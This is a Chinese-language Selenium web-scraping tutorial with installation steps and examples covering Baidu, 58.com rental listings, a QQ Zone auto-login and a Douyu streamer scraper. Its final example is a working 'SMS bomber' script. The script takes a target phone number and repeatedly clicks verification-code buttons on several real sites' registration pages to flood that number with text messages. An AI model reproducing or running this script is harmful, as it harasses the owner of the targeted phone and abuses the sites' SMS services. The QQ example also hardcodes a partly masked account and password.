爬虫中的一些建议
Selenium
Selenium是一个Web的自动化测试工具,最初是为网站自动化测试而开发的,Selenium 可以直接运行在浏览器上,它支持所有主流的浏览器(包括PhantomJS这些无界面的浏览器),可以接收指令,让浏览器自动加载页面,获取需要的数据,甚至页面截屏
https://selenium-python-zh.readthedocs.io/en/latest/waits.html
PhantomJS
PhantomJS 是一个基于Webkit的“无界面”(headless)浏览器,它会把网站加载到内存并执行页面上的 JavaScript
更多请了解https://www.cnblogs.com/fnng/
selenium的安装
sudo pip3 install selenium
phantomJS的安装
下载 http://phantomjs.org/
tar -xvjf phantomjs-2.1.1-linux-x86_64.tar.bz2
sudo cp -r phantomjs-2.1.1-linux-x86_64 /usr/local/share/
sudo ln -sf /usr/local/share/phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/
Chrome浏览器驱动的安装
http://blog.csdn.net/huilan_same/article/details/51896672
下载对应版本的浏览器驱动
解压后得到驱动的可执行文件,将其拷贝到任意环境变量目录
echo $PATH查看环境变量路径
1.浏览器驱动对象
1)库的导入
from selenium import webdriver
2)创建浏览器对象
driver = webdriver.xxx()
使用dir(driver)查看方法
3)浏览器尺寸相关操作
maximize_window() 最大化
4)浏览器的关闭操作
close() 关闭当前标签/窗口
quit() 关闭所有标签/窗口
案例1:请求百度主页
selenium会自动打开谷歌浏览器,
from selenium import webdriver
# 创建浏览器对象
dr = webdriver.Chrome()
# 发送请求
dr.get('http://www.baidu.com/')
# 获取查看源码,不是network中的源码
#print(dr.page_source)
# 获取cookie信息
print(dr.get_cookies()) # 输出cookie信息列表信息
# 获取title
print(dr.title) # 百度一下,你就知道
# 关闭浏览器
# 关闭当前浏览器
dr.close()
案例2:模拟点击58同城 “租房”按钮
我们使用XpathHelper获取租房链接的xpath
from selenium import webdriver
url = 'http://sh.58.com/'
# 构建浏览器对象
dr = webdriver.Chrome()
# 加载url对相应的响应
dr.get(url)
# 获取当前的url,窗口
print(dr.current_url)
print(dr.window_handles)
# 模拟点击房屋出租
el = dr.find_element_by_xpath('/html/body/div[3]/div[1]/div[1]/div/div[1]/div[1]/span[1]/a')
el.click()
执行上述代码就会模拟租房链接的点击
定位标题信息
from selenium import webdriver
url = 'http://sh.58.com/'
# 构建浏览器对象
dr = webdriver.Chrome()
# 加载url对相应的响应
dr.get(url)
# 获取当前的url,窗口
print(dr.current_url)
print(dr.window_handles)
# 模拟点击房屋出租
el = dr.find_element_by_xpath('/html/body/div[3]/div[1]/div[1]/div/div[1]/div[1]/span[1]/a')
el.click()
#点击房屋出租后,会打开新的标签页,需要传入新打开标签页的索引
dr.switch_to.window(dr.window_handles[-1])
print(dr.current_url)
print(dr.window_handles)
# # 定位所有title
node_list = dr.find_elements_by_xpath('/html/body/div[7]/div[2]/ul/li[1]/div[2]/h2/a')
for node in node_list:
print(node.text, node.get_attribute('href'))
案例3:QQ空间自动登录
from selenium import webdriver
import time
url = 'https://qzone.qq.com/'
# 构建浏览器对象
dr = webdriver.Chrome()
# 访问url
dr.get(url)
# 首先必须要进入内部框架iframe!!!!
# 进入框架的两种方式
# 通过id
# dr.switch_to.frame('login_frame')
# 通过元素定位
el_1 = dr.find_element_by_xpath('//*[@id="login_frame"]')
dr.switch_to.frame(el_1)
# 尝试点击账号密码登录按钮
el = dr.find_element_by_id('switcher_plogin')
el.click()
# 输入账号密码
el_user = dr.find_element_by_id('u')
el_user.send_keys('1131225468')
el_pwd = dr.find_element_by_id('p')
el_pwd.send_keys('188455693*****')
time.sleep(2)
# 点击登录
el_sub = dr.find_element_by_id('login_button')
el_sub.click()
dr.close()
dr.quit()
案例4:斗鱼主播爬虫
爬取房间名称、类型、房主、关注人数、封面信息等
地址https://www.douyu.com/directory/all
from selenium import webdriver
import json,time
"""
目标:斗鱼直播平台
1、爬取房间名称、类型、房主、关注人数、封面信息等
2、使用selenium进行爬取
"""
class Douyu(object):
def __init__(self):
self.url = 'https://www.douyu.com/directory/all'
# 实例化浏览器对象
self.driver = webdriver.Chrome()
# 创建文件
self.file = open('douyu.json','w')
# 解析数据
def parse_data(self):
# 提取房间列表,必须使用elements//*[@id="listAll"]/section[2]/div[2]/ul/li
node_list = self.driver.find_elements_by_xpath('//*[@id="listAll"]/section[2]/div[2]/ul/li')
# 测试节点列表
# print(len(node_list))
# 定义存储数据的容器
data_list = []
# 遍历节点列表
for node in node_list:
temp = {}
# 提取房间的标题/房间类型/房间主人/关注人数/封面
temp['title'] = node.find_element_by_xpath('./div/a/div[2]/div/h3').text
temp['category'] = node.find_element_by_xpath('./div/a/div[2]/div[1]/span').text
temp['owner'] = node.find_element_by_xpath('./div/a[1]/div[2]/div[2]/h2').text
temp['num'] = node.find_element_by_xpath('./div/a/div[2]/div[2]/span').text
print(temp)
# temp['cover'] = node.find_element_by_xpath('./span/img').get_attribute('data-original')
# temp['link'] = node.get_attribute('href')
data_list.append(temp)
# print(temp)
# 返回数据
return data_list
# 保存数据
def save_data(self,data_list):
# 遍历列表数据,因为里面存储的是字典类型
for data in data_list:
str_data = json.dumps(data,ensure_ascii=False) + ',\n'
self.file.write(str_data)
def __del__(self):
# 关闭浏览器对象
self.driver.close()
self.file.close()
def run(self):
# 构造url
# 构造webdriver浏览器对象
# 发送请求
self.driver.get(self.url)
while True:
# 解析数据,返回数据列表
data_list = self.parse_data()
#self.save_data(data_list)
# 提取下一页链接,模拟点击
try:
ele_next_url = self.driver.find_element_by_xpath('//*[@class="dy-Pagination-next"]/span/text()')
ele_next_url.click()
time.sleep(7)
except:
break
# 保存数据
if __name__ == '__main__':
douyu = Douyu()
douyu.run()
如下图斗鱼主播的数据被成功爬取
案例5:自制”短信轰炸“神器(慎用哦)
#encoding=utf8
from selenium import webdriver
import time
from selenium.webdriver.chrome.options import Options
chrome_options = Options()
chrome_options.add_argument('--headless')
tel = input('tel:')
driver = webdriver.Chrome()
driver.get('https://www.fkw.com/reg.html')
bot1 = driver.find_element_by_id("acct")
bot1.send_keys(tel)
bot2 = driver.find_element_by_id("verifyCodeBtn")
bot2.click()
bot2.click()
bot2.click()
bot2.click()
time.sleep(3)
driver.get('https://console.oray.com/passport/register.html?fromurl=http%3A%2F%2Fdomain.oray.com%2F')
bot1 = driver.find_element_by_xpath('//*[@id="tips-protocol-win"]/div/div/div/div[2]/p/input[1]')
bot1.click()
bot2 = driver.find_element_by_id('mobile')
bot2.send_keys(tel)
bot3= driver.find_element_by_id('re-get')
bot3.click()
bot3.click()
bot3.click()
bot3.click()
time.sleep(3)
driver.get('https://passport.58.com/reg/?path=https%3A//gz.58.com/&PGTID=0d100000-0000-33f9-63ec-9ca2641f5e25&ClickID=3')
bot1 = driver.find_element_by_id('phone')
bot1.send_keys(tel)
bot2 = driver.find_element_by_xpath('/html/body/div[1]/div/div[3]/div[1]/span')
bot2.click()
time.sleep(3)
driver.get('https://id.163yun.com/register?referrer=https://dun.163.com/dashboard&h=yd&t=yd&i18nEnable=true&fromyd=baiduP2_YZM_zcdl3')
bot1 = driver.find_element_by_xpath("//*[@id='bg']/div[2]/div/div/div/div/div/form/div[1]/div[2]/div[2]/div/div/div[1]/div[1]/span")
bot1.send_keys(tel)
bot1 = driver.find_element_by_xpath("//*[@id='bg']/div[2]/div/div/div/div/div/form/div[1]/div[2]/div[2]/div/div/div[1]/div[1]/span")
bot1.click()
bot2 = driver.find_element_by_xpath("//*[@id='bg']/div[2]/div/div/div/div/div/form/div[1]/div[2]/div[3]/div/button")
bot2.click()
bot2.click()
bot2.click()
bot2.click()
time.sleep(3)
driver.close()